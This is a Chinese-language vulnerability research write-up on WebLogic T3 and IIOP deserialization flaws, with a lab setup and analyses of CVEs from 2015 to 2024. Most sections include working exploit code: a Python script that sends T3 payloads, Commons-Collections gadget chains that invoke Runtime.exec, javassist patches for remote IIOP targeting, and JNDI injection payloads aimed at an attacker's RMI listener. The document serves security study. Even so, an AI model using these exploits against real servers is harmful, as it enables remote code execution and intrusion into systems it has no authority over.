环境配置
使用WeblogicEnvironment项目搭建,地址:WeblogicEnvironment
Weblogic Server官网下载地址:https://www.oracle.com/hk/middleware/technologies/weblogic-server-downloads.html
oracle删除了官网上所有的Weblogic Server 10.3.6.0.0的下载链接,只剩下了12.x和14.x的。不过我们可以通过url直接下载:http://download.oracle.com/otn/nt/middleware/11g/wls/1036/wls1036_generic.jar
docker build或者run的时候可能会内存不足,增加ulimit即可:--ulimit nofile=65535:65535
docker里的java版本最好和idea使用的版本一样,不然容易出现debug行号不一致的问题。
由于centos 8 于2021年12月31日停止了源的服务,需要修改yum的源等等操作,修改Dockerfile:
RUN cd /etc/yum.repos.d/
RUN sed -i 's/mirrorlist/#mirrorlist/g' /etc/yum.repos.d/CentOS-*
RUN sed -i 's|#baseurl=http://mirror.centos.org|baseurl=http://vault.centos.org|g' /etc/yum.repos.d/CentOS-*
从容器里复制出lib导入idea即可开始debug,端口以为8453:
/u01/app/oracle/middleware/modules
/u01/app/oracle/middleware/wlserver
/u01/app/oracle/middleware/coherence_3.7/lib
T3反序列化
CVE-2015-4852
Weblogic 10.3.6
JDK8u65
T3协议部分参考:http://drops.xmd5.com/static/drops/web-13470.html
Weblogic Server 使用T3协议进行RMI通信,请求包格式如下:
第一部分为T3协议头,后面跟着7段java序列化数据,将其中任意一部分改为恶意序列化数据即可。
关于其中探测版本部分,我发现有时返回包会分到两个TCP数据包里发过来,所以脚本需要改一下:
data = sock.recv(1024)
if len(data) == 4:
data = data + sock.recv(1024)
数据流先进入InboundMsgAbbrev#readObject
方法:
private Object readObject(MsgAbbrevInputStream var1) throws IOException, ClassNotFoundException {
int var2 = var1.read();
switch (var2) {
case 0:
return (new ServerChannelInputStream(var1)).readObject();
case 1:
return var1.readASCII();
default:
throw new StreamCorruptedException("Unknown typecode: '" + var2 + "'");
}
}
然后进入ServerChannelInputStream#readObject
方法,这个类实现了resolveClass
方法:
protected Class resolveClass(ObjectStreamClass var1) throws ClassNotFoundException, IOException {
Class var2 = super.resolveClass(var1);
if (var2 == null) {
throw new ClassNotFoundException("super.resolveClass returns null.");
} else {
ObjectStreamClass var3 = ObjectStreamClass.lookup(var2);
if (var3 != null && var3.getSerialVersionUID() != var1.getSerialVersionUID()) {
throw new ClassNotFoundException("different serialVersionUID. local: " + var3.getSerialVersionUID() + " remote: " + var1.getSerialVersionUID());
} else {
return var2;
}
}
}
不过这个版本没有过滤,不影响。ServerChannelInputStream
没有重写readObject
,所以直接进入java.io.ObjectInputStream#readObject
方法。畅通无阻。
10.3.6版本带有cc3.2.0的依赖,可以打cc链,exp如下:
import socket
import struct
import re
import binascii
def get_payload(path):
with open(path, "rb") as f:
return f.read()
def exp(host, port, payload):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((host, port))
handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n".encode()
sock.sendall(handshake)
data = sock.recv(1024)
if len(data) == 4:
data = data + sock.recv(1024)
pattern = re.compile(r"HELO:(.*).false")
version = re.findall(pattern, data.decode())
if len(version) == 0:
print("Not Weblogic")
return
print("Weblogic {}".format(version[0]))
data_len = binascii.a2b_hex(b"00000000") #数据包长度,先占位,后面会根据实际情况重新
t3header = binascii.a2b_hex(b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006") #t3协议头
flag = binascii.a2b_hex(b"fe010000") #反序列化数据标志
payload = data_len + t3header + flag + payload
payload = struct.pack('>I', len(payload)) + payload[4:] #重新计算数据包长度
sock.send(payload)
if __name__ == "__main__":
host = ""
port = 7001
payload = get_payload("./ser.bin")
exp(host, port, payload)
生成的恶意序列化放在./ser.bin
。生成代码:
public class Exp {
public static void main(String[] args) throws Exception {
String command = "";
final String[] execArgs = new String[] { command };
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, execArgs),
new ConstantTransformer(1) };
Transformer transformerChain = new ChainedTransformer(transformers);
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
HashSet map = new HashSet(1);
map.add("foo");
HashMap innimpl = (HashMap) getFieldValue(map, "map");
Object[] array = (Object[]) getFieldValue(innimpl, "table");
Object node = array[0];
if(node == null){
node = array[1];
}
setFieldValue(node, "key", entry);
serToFile(map);
}
}
CVE-2016-0638 (readExternal绕过)
Weblogic 10.3.6
JDK8u65
CVE-2015-4852
的补丁就是在resolveclass
里添加类黑名单检测,绕过思路就是二次反序列化。
java.io.ObjectInputStream#readObject
会调用readOrdinaryObject
方法反序列化为Object
,其中如果可拓展会调用readExternalData
方法:
private Object readOrdinaryObject(boolean unshared)
throws IOException
{
if (bin.readByte() != TC_OBJECT) {
throw new InternalError();
}
ObjectStreamClass desc = readClassDesc(false);
desc.checkDeserialize();
................
if (desc.isExternalizable()) {
readExternalData((Externalizable) obj, desc);
} else {
readSerialData(obj, desc);
}
.................
return obj;
}
最终会调用这个Externalizable
类的readExternal
方法。
StreamMessageImpl
类的readExternal
方法代码如下:
public void readExternal(ObjectInput var1) throws IOException, ClassNotFoundException {
super.readExternal(var1);
byte var2 = var1.readByte();
byte var3 = (byte)(var2 & 127);
if (var3 >= 1 && var3 <= 3) {
switch (var3) {
case 1:
this.payload = (PayloadStream)PayloadFactoryImpl.createPayload((InputStream)var1);
BufferInputStream var4 = this.payload.getInputStream();
ObjectInputStream var5 = new ObjectInputStream(var4);
this.setBodyWritable(true);
this.setPropertiesWritable(true);
try {
while(true) {
this.writeObject(var5.readObject());
................
}
可以调用原生的readObject
方法,绕过黑名单。
这个类需要自己生成:
cd WL_HOME/server/lib
java -jar ../../../modules/com.bea.core.jarbuilder_X.X.X.X.jar
生成的wlfullclient.jar
复制出来导入idea。
对应的StreamMessageImpl
类也有一个writeExternal
方法,不过不可控,用javassist改一下,然后序列化时会将CC链的序列化数据写入External数据部分,poc代码如下:
public class Exp {
public static void main(String[] args) throws Exception {
String command = "";
final String[] execArgs = new String[] { command };
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, execArgs),
new ConstantTransformer(1) };
Transformer transformerChain = new ChainedTransformer(transformers);
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
HashSet map = new HashSet(1);
map.add("foo");
HashMap innimpl = (HashMap) getFieldValue(map, "map");
Object[] array = (Object[]) getFieldValue(innimpl, "table");
Object node = array[0];
if(node == null){
node = array[1];
}
setFieldValue(node, "key", entry);
byte[] data = ser(map);
String base64Code = Base64.getEncoder().encodeToString(data);
int length = data.length;
ClassPool pool = ClassPool.getDefault();
CtClass ctClass0 = pool.get("weblogic.jms.common.StreamMessageImpl");
CtMethod writeReplace = ctClass0.getDeclaredMethod("writeExternal");
String code = "{\n" +
"System.out.println(1);\n" +
"super.writeExternal($1);\n" +
"java.io.ObjectOutput out = (java.io.ObjectOutput) $1;\n" +
"out.writeByte(1);\n" +
"\n" +
"int length = " + length + ";\n" +
"String base64Code = \""+ base64Code + "\";\n" +
"byte[] buffer = java.util.Base64.getDecoder().decode(base64Code);\n" +
"\n" +
"out.writeInt(length);\n" +
"out.write(buffer);}";
writeReplace.setBody(code);
ctClass0.detach();
ctClass0.toClass();
StreamMessageImpl streamMessage = new StreamMessageImpl();
serToFile(streamMessage);
}
}
然后再用python脚本发送即可。
CVE-2016-3510 (readResolve绕过)
Weblogic 10.3.6
JDK8u65
CVE-2015-4852
的另一种绕过。
还是之前分析的ObjectInputStream#readOrdinaryObject
方法:
private Object readOrdinaryObject(boolean unshared)
throws IOException
{
.............
if (desc.isExternalizable()) {
readExternalData((Externalizable) obj, desc);
} else {
readSerialData(obj, desc);
}
handles.finish(passHandle);
if (obj != null &&
handles.lookupException(passHandle) == null &&
desc.hasReadResolveMethod())
{
Object rep = desc.invokeReadResolve(obj);
if (unshared && rep.getClass().isArray()) {
rep = cloneArray(rep);
}
if (rep != obj) {
handles.setObject(passHandle, obj = rep);
}
}
return obj;
}
在检查完isExternalizable
后会再检查是否具有readResolve
方法,有的话就调用。
weblogic.corba.utils.MarshalledObject
的readResolve
的方法可以进行二次反序列化:
public Object readResolve() throws IOException, ClassNotFoundException, ObjectStreamException {
if (this.objBytes == null) {
return null;
} else {
ByteArrayInputStream var1 = new ByteArrayInputStream(this.objBytes);
ObjectInputStream var2 = new ObjectInputStream(var1);
Object var3 = var2.readObject();
var2.close();
return var3;
}
}
这个类也在wlfullclient.jar
里,需要自己生成。
poc代码如下:
public class Exp {
public static void main(String[] args) throws Exception {
String command = "";
final String[] execArgs = new String[] { command };
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, execArgs),
new ConstantTransformer(1) };
Transformer transformerChain = new ChainedTransformer(transformers);
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
HashSet map = new HashSet(1);
map.add("foo");
HashMap innimpl = (HashMap) getFieldValue(map, "map");
Object[] array = (Object[]) getFieldValue(innimpl, "table");
Object node = array[0];
if(node == null){
node = array[1];
}
setFieldValue(node, "key", entry);
MarshalledObject marshalledObject = new MarshalledObject(map);
serToFile(marshalledObject);
}
}
CVE-2017-3248
Weblogic 10.3.6
JDK8u65
JRMP协议也可以触发readObject。
使用ysoserial的JRMPListener即可。
补丁添加的黑名单.
CVE-2018-2628
Weblogic 10.3.6
JDK8u65
JRMP的UnicastRef
类有readExternal
方法,可以直接用这个类来反序列化绕过黑名单检测。
public void readExternal(ObjectInput var1) throws IOException, ClassNotFoundException {
this.ref = LiveRef.read(var1, false);
}
最终也会触发TCPEndpoint连接,触发JRMP反序列化。
poc:
public class Exp {
public static void main(String[] args) throws Exception {
String host = "ip";
int port = ;
ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
serToFile(ref);
}
}
ip和port指向ysoserial的JRMPListener监听的地址。
IIOP协议反序列化
Weblogic IIOP协议默认开启,跟T3协议一起监听在7001端口
Common Object Request Broker Architecture(公共对象请求代理体系结构)是由OMG(Object Management Group)组织制定的一种标准分布式对象结构。使用平台无关的语言IDL(interface definition language)描述连接到远程对象的接口,然后将其映射到制定的语言实现。 一般来说CORBA将其结构分为三部分:
- naming service
- client side
- servant side
GIOP全称(General Inter-ORB Protocol)通用对象请求协议,其功能简单来说就是CORBA用来进行数据传输的协议。GIOP针对不同的通信层有不同的具体实现,而针对于TCP/IP层,其实现名为IIOP(Internet Inter-ORB Protocol)。所以说通过TCP协议传输的GIOP数据可以称为IIOP。
RMI-IIOP出现以前,只有RMI和CORBA两种选择来进行分布式程序设计,二者之间不能协作。但是现在有了RMI-IIOP,稍微修改代码即可实现RMI客户端使用IIOP协议操作服务端CORBA对象,这样综合了RMI的简单性和CORBA的多语言性兼容性,RMI-IIOP克服了RMI只能用于Java的缺点和CORBA的复杂性。
网路问题
IIOP在bind时会绑定在0.0.0.0
上,默认只能带本地。
可以尝试修改IIOP的部分实现代码。我这里用javassist修改了weblogic.iiop.IOPProfile#read
,强制改为指定的ip。
String ip = "";
String port = "7001";
ClassPool pool = ClassPool.getDefault();
CtClass IOPProfileCtClass = pool.get("weblogic.iiop.IOPProfile");
CtMethod read = IOPProfileCtClass.getDeclaredMethod("read");
String code = "this.host = \"" + ip + "\";";
read.insertAfter(code);
IOPProfileCtClass.detach();
IOPProfileCtClass.toClass();
CVE-2020-2551
Weblogic 10.3.6
JDK8u65
与JRMP类似,IIOP协议在不同组件之间通信是通过序列化/反序列化。
JtaTransactionManager
类本身不在黑名单里了,但其父类AbstractPlatformTransactionManager
在黑名单里,T3协议使用resolveClass过滤,这个方法也会检测父类,可以过滤JtaTransactionManager
类,而IIOP协议不使用resolveClass,所以不会过滤,所以无法根据父类将其过滤。
JtaTransactionManager
在反序列化时会通过JNDI去加载对象。
poc如下:
public class Exp {
public static void main(String[] args) throws Exception {
String ip = "";
String port = "7001";
ClassPool pool = ClassPool.getDefault();
CtClass IOPProfileCtClass = pool.get("weblogic.iiop.IOPProfile");
CtMethod read = IOPProfileCtClass.getDeclaredMethod("read");
String code = "this.host = \"" + ip + "\";";
read.insertAfter(code);
IOPProfileCtClass.detach();
IOPProfileCtClass.toClass();
try {
Hashtable<String, String> env = new Hashtable<String, String>();
env.put("java.naming.factory.initial", "weblogic.jndi.WLInitialContextFactory");
env.put("java.naming.provider.url", String.format("iiop://%s:%s", ip, port));
Context context = new InitialContext(env);
// get Object to Deserialize
JtaTransactionManager jtaTransactionManager = new JtaTransactionManager();
jtaTransactionManager.setUserTransactionName("rmi://ip:port/Exploit");
Remote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap("pwnedasd", jtaTransactionManager), Remote.class);
System.out.println("start");
context.bind("hello", remote);
} catch (Exception e){
e.printStackTrace();
}
}
}
CVE-2023-21839
Weblogic 12.2.1.4
JDK8u65
12.x可以直接从官网下载,将/u01/app/oracle/middleware/wlserver
下的所有导入idea。
也需要导入wlfullclient.jar
,与10.3.6的生成方式不同。
cd /u01/app/oracle/middleware/wlserver/server/lib
/java/bin/java -jar ../../modules/com.bea.core.jarbuilder.jar
当客户端向服务器lookup对象时,服务器会调用weblogic.corba.cos.naming.NamingContextImpl#resolveObject
方法。
private java.lang.Object resolveObject(String name) throws NamingException {
if (name.equals("")) {
return this;
} else {
java.lang.Object o = this.getContext().lookup(name);
.........................
此时的context为weblogic.jndi.internal.WLContextImpl
,如果绑定的对象不是NamingNode
则会调用getObjectInstance
:
protected Object resolveObject(String name, Object obj, int mode, Hashtable env) throws NamingException {
Object resolved = obj;
if (obj != null) {
try {
if (obj instanceof NamingNode) {
resolved = ((NamingNode)obj).getContext(env);
} else if (mode != 0 && mode >= 0) {
resolved = WLNamingManager.getObjectInstance(obj, new CompositeName(name), (Context)null, env);
resolved = this.makeTransportable(resolved, name, env);
}
..............
如果绑定的对象是OpaqueReference
则调用其getReference
方法。
} else if (boundObject instanceof OpaqueReference) {
boundObject = ((OpaqueReference)boundObject).getReferent(name, ctx);
weblogic.deployment.jms.ForeignOpaqueReference
是OpaqueReference
的一个实现类,其getReference
方法可以触发原生JNDI lookup,关键代码如下:
public Object getReferent(Name name, Context ctx) throws NamingException {
AbstractSubject originalSubject = SubjectManager.getSubjectManager().getCurrentSubject(KERNEL_ID);
InitialContext context;
if (this.jndiEnvironment == null) {
context = new InitialContext();
} else {
if (this.jndiEnvironment.get("java.naming.factory.initial") == null) {
this.jndiEnvironment.put("java.naming.factory.initial", "weblogic.jndi.WLInitialContextFactory");
}
context = new InitialContext(this.jndiEnvironment);
}
.....................
Object retVal;
try {
if (this.jndiEnvironment != null && AQJMS_ICF.equals(this.jndiEnvironment.get("java.naming.factory.initial")) && this.remoteJNDIName != null && (this.remoteJNDIName.startsWith(AQJMS_QPREFIX) || this.remoteJNDIName.startsWith(AQJMS_TPREFIX))) {
synchronized(this) {
if (this.cachedReferent == null) {
this.cachedReferent = context.lookup(evalMacros(this.remoteJNDIName));
}
}
retVal = this.cachedReferent;
} else {
retVal = context.lookup(evalMacros(this.remoteJNDIName));
}
} finally {
SubjectManager.getSubjectManager().popSubject(KERNEL_ID);
context.close();
}
................
}
当lookup一个ForeignOpaqueReference
对象时会触发jndi lookup.
remoteJNDIName属性需要反射写入,poc:
public class Exp {
public static void main(String[] args) throws Exception {
String ip = "";
String port = "7001";
ClassPool pool = ClassPool.getDefault();
CtClass IOPProfileCtClass = pool.get("weblogic.iiop.ior.IOPProfile");
CtMethod read = IOPProfileCtClass.getDeclaredMethod("read");
String code = "this.host = \"" + ip + "\";";
read.insertAfter(code);
IOPProfileCtClass.detach();
IOPProfileCtClass.toClass();
Hashtable<String, String> env = new Hashtable<String, String>();
env.put("java.naming.factory.initial", "weblogic.jndi.WLInitialContextFactory");
env.put("java.naming.provider.url", String.format("iiop://%s:%s", ip, port));
Context context = new InitialContext(env);
ForeignOpaqueReference foreignOpaqueReference = new ForeignOpaqueReference();
setFieldValue(foreignOpaqueReference, "remoteJNDIName", "rmi://ip:port/exp");
System.out.println("start");
context.rebind("helloasd", foreignOpaqueReference);
context.lookup("helloasd");
}
}
直接将ForeignOpaqueReference
rebind,接着lookup即可,还是需要用javassist修改函数才能打远程。不过12.2.1.4版本中类名从weblogic.iiop.IOPProfile
改为了weblogic.iiop.ior.IOPProfile
.
CVE-2024-20931
Weblogic 12.2.1.4
JDK8u65
属于CVE-2023-21839
的绕过,补丁添加了两个过滤:
- 如果jndiEnvironment中providerURL不为null会检查签名
- 限制了JNDI的协议类型
之前打CVE-2023-21839
时jndiEnv为null,这次需要用jndiEnv的java.naming.factory.initial
属性指定本地工厂类。
服务器在创建上下文时会调用这个工厂类的getInitialContext
方法。
堆栈如下:
javax.naming.spi.InitialContextFactory#getInitialContext
javax.naming.spi.NamingManager#getInitialContext
javax.naming.InitialContext#getDefaultInitCtx
javax.naming.InitialContext#init
javax.naming.InitialContext#<init>
weblogic.deployment.jms.ForeignOpaqueReference#getReferent
weblogic.jndi.internal.WLNamingManager#getObjectInstance
weblogic.jndi.internal.BasicNamingNode#resolveObject
weblogic.jndi.internal.BasicNamingNode#resolveObject
weblogic.jndi.internal.BasicNamingNode#lookupSharable
weblogic.jndi.internal.PartitionHandler#lookupSharable
weblogic.jndi.internal.ServerNamingNode#lookup
weblogic.jndi.internal.RootNamingNode#lookup
weblogic.jndi.internal.WLEventContextImpl#lookup
weblogic.jndi.internal.WLContextImpl#lookup
javax.naming.InitialContext#lookup
weblogic.corba.cos.naming.NamingContextImpl#resolveObject
AQjmsInitialContextFactory
这个工厂类的getInitialContext
方法会调用根据参数dataSource
进行原生jndi lookup。
用poc能打通,不过我这边找不到这个类在哪,所以不知道具体触发jndi的代码是什么。
反射写入jndiEnv即可。
Hashtable jndiEnv = new Hashtable();
jndiEnv.put("java.naming.factory.initial", "oracle.jms.AQjmsInitialContextFactory");
jndiEnv.put("datasource", "rmi://ip:port/exp");
setFieldValue(foreignOpaqueReference, "jndiEnvironment", jndiEnv);
CVE-2024-21006
Weblogic 12.2.1.4
JDK8u65
漏洞的最终利用方式和CVE-2023-21839
、CVE-2024-20931
一致,都是利用 IIOP -> JNDI 去造成远程代码执行,不过在整个触发的过程中有所不同。
从CVE-2024-20931
的调用堆栈来看,通过了weblogic.jndi.internal.BasicNamingNode#lookupSharable
并进入了if代码块,代码如下:
protected Object lookupSharable(String name, Hashtable env) throws NamingException, RemoteException {
String prefix = this.getPrefix(name);
String restOfName = this.getRest(name);
Object object = this.lookupHere(prefix, env, restOfName);
if (restOfName.length() == 0) {
if (NamingDebugLogger.isDebugEnabled()) {
NamingDebugLogger.debug("+++ lookupInSharable(" + name + ", " + object.getClass().getName() + ") succeeded");
}
return this.resolveObject(prefix, object, env);
} else {
try {
if (object instanceof BasicNamingNode) {
object = ((BasicNamingNode)object).lookupSharable(restOfName, env);
} else {
object = this.getContinuationCtx(object, prefix, restOfName, env).lookup(restOfName);
}
} catch (NamingException var7) {
throw this.prependResolvedNameToException(prefix, var7);
}
return this.makeTransportable(object, restOfName, env);
}
}
如果restOfName.length() == 0
为真,进入else分支,让object不为BasicNamingNode
类型会调用getContinuationCtx
有一个补丁在getContinuationCtx
里,限制了通过HTTP codebase加载远程类。后面会调用NamingManager#getContinuationContext
:
public static Context getContinuationContext(CannotProceedException cpe)
throws NamingException {
Hashtable<Object,Object> env = (Hashtable<Object,Object>)cpe.getEnvironment();
if (env == null) {
env = new Hashtable<>(7);
} else {
// Make a (shallow) copy of the environment.
env = (Hashtable<Object,Object>)env.clone();
}
env.put(CPE, cpe);
ContinuationContext cctx = new ContinuationContext(cpe, env);
return cctx.getTargetContext();
}
最终会调用到javax.naming.spi.NamingManager#getObjectInstance
方法,这里就是原生jndi lookup调用本地工厂类的地方:
factory = getObjectFactoryFromReference(ref, f);
if (factory != null) {
return factory.getObjectInstance(ref, name, nameCtx, environment);
}
weblogic.application.naming.MessageDestinationObjectFactory
类实现了ObjectFactory
接口,可以作为工厂类,其getObjectInstance
方法可以触发原生jndi lookup,相当于二次jndi注入绕过限制。
public Object getObjectInstance(Object obj, Name name, Context ctx, Hashtable<?, ?> env) throws NamingException {
if (!(obj instanceof MessageDestinationReference)) {
throw new AssertionError("ObjectFactory should have been referenced only from EnvReference");
} else {
return ((MessageDestinationReference)obj).lookupMessageDestination();
}
}
public Object lookupMessageDestination() throws NamingException {
InitialContext ic;
if (this.initialContextFactory == null) {
ic = new InitialContext();
} else {
Hashtable<String, String> env = new Hashtable();
env.put("java.naming.factory.initial", this.initialContextFactory);
if (null != this.providerURL) {
env.put("java.naming.provider.url", this.providerURL);
}
ic = new InitialContext(env);
}
return ic.lookup(this.jndiName);
}
需要bind一个MessageDestinationReference
对象。其构造方法允许指定jndiName:
public MessageDestinationReference(Environment env, MessageDestinationRefBean msgDest, String jndiName, String providerURL, String initialContextFactory) throws EnvironmentException {
super(env, msgDest.getMessageDestinationType(), "weblogic.application.naming.MessageDestinationObjectFactory");
this.jndiName = jndiName;
this.providerURL = providerURL;
this.initialContextFactory = initialContextFactory;
}
似乎需要在weblogic运行时才能msgDest.getMessageDestinationType()
,本地会报错,用javassist改一下就可以了:
CtClass MessageDestinationReferenceCtClass = pool.get("weblogic.application.naming.MessageDestinationReference");
CtConstructor[] cons = MessageDestinationReferenceCtClass.getDeclaredConstructors();
CtConstructor MessageDestinationReferenceCon = null;
for(CtConstructor con : cons){
if (con.getParameterTypes()[0].getName().equals("weblogic.application.naming.Environment")){
MessageDestinationReferenceCon = con;
break;
}
}
if (MessageDestinationReferenceCon == null){
System.out.println("con not found");
System.exit(0);
}
MessageDestinationReferenceCon.setBody("{\n" +
" super($1, \"java.lang.Object\", \"weblogic.application.naming.MessageDestinationObjectFactory\");\n" +
" this.jndiName = $3;\n" +
" this.providerURL = $4;\n" +
" this.initialContextFactory = $5;\n" +
" }");
MessageDestinationReferenceCtClass.detach();
MessageDestinationReferenceCtClass.toClass();
MessageDestinationReference messageDestinationReference = new MessageDestinationReference(null, null, "rmi://ip:port/exp", null, null);
回到前面,restOfName就是双引号之外的数据而且restOfName和第二个双引号直接要有一个.
或/
,类似这样:"<name>"/<restOfName>
,bind用name,lookup用name + restOfName。
context.rebind("asda", ref);
context.lookup("\"asda\"/asd");
堆栈:
javax.naming.InitialContext#lookup
weblogic.application.naming.MessageDestinationReference#lookupMessageDestination
weblogic.application.naming.MessageDestinationObjectFactory#getObjectInstance
javax.naming.spi.NamingManager#getObjectInstance
javax.naming.spi.NamingManager#getContext
javax.naming.spi.ContinuationContext#getTargetContext
javax.naming.spi.NamingManager#getContinuationContext
weblogic.jndi.internal.BasicNamingNode#getContinuationCtx
weblogic.jndi.internal.BasicNamingNode#lookupSharable
weblogic.jndi.internal.PartitionHandler#lookupSharable
weblogic.jndi.internal.ServerNamingNode#lookup
weblogic.jndi.internal.RootNamingNode#lookup
weblogic.jndi.internal.WLEventContextImpl#lookup
weblogic.jndi.internal.WLContextImpl#lookup
javax.naming.InitialContext#lookup
weblogic.corba.cos.naming.NamingContextImpl#resolveObject
CVE-2024-21181
Weblogic 12.2.1.4
JDK8u65
另一个工厂类weblogic.management.mbeanservers.partition.PartitionedMbsRefObjFactory
其getObjectInstance
方法代码如下:
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
Reference ref = (Reference)Reference.class.cast(obj);
String pName = (String)ref.get("partitionName").getContent();
JVMID jvmId = (JVMID)this.deserialize((byte[])((byte[])ref.get("jvmId").getContent()));
if (!jvmId.isLocal()) {
throw new Exception(name + " cannot be looked up using a remote JNDI context. Use JSR160 interface to use JMX remotely or use a local JNDI context to look up the local MBeanServer.");
} else {
MBeanServer delegateMbs = this.getDelegateMbs();
assert delegateMbs != null;
return (new PartitionedMbsFactory()).create(pName, delegateMbs);
}
}
deserialize
方法就是java原生反序列化,lookup一个Reference
并指定工厂类即可。
可以参考weblogic.management.mbeanservers.partition.PartitionedMbsRefObjFactory#createReference
的代码写。需要注意的是PartitionedMbsRefObjFactory
是抽象类,要找一个实现类比如PartitionedDomainRuntimeMbsRefObjFactory
生成Reference:
StringRefAddr addr = new StringRefAddr("partitionName", "asas");
Reference reference = new Reference(MBeanServer.class.getName(), addr, PartitionedDomainRuntimeMbsRefObjFactory.class.getName(), (String)null);
RefAddr jvmIdAddr = new BinaryRefAddr("jvmId", getEvilData());
reference.add(jvmIdAddr);
12.2.1.4版本的CC为3.2.2版本,CC链不能利用了。
参考
http://drops.xmd5.com/static/drops/web-13470.html
https://boogipop.com/2023/04/26/Weblogic%E5%85%A8%E6%BC%8F%E6%B4%9E%E5%AD%A6%E4%B9%A0/
https://github.com/Y4er/CVE-2020-2551
https://xz.aliyun.com/news/7094
https://mp.weixin.qq.com/s/Mh9BDkKP79BPEYdAt5uhaw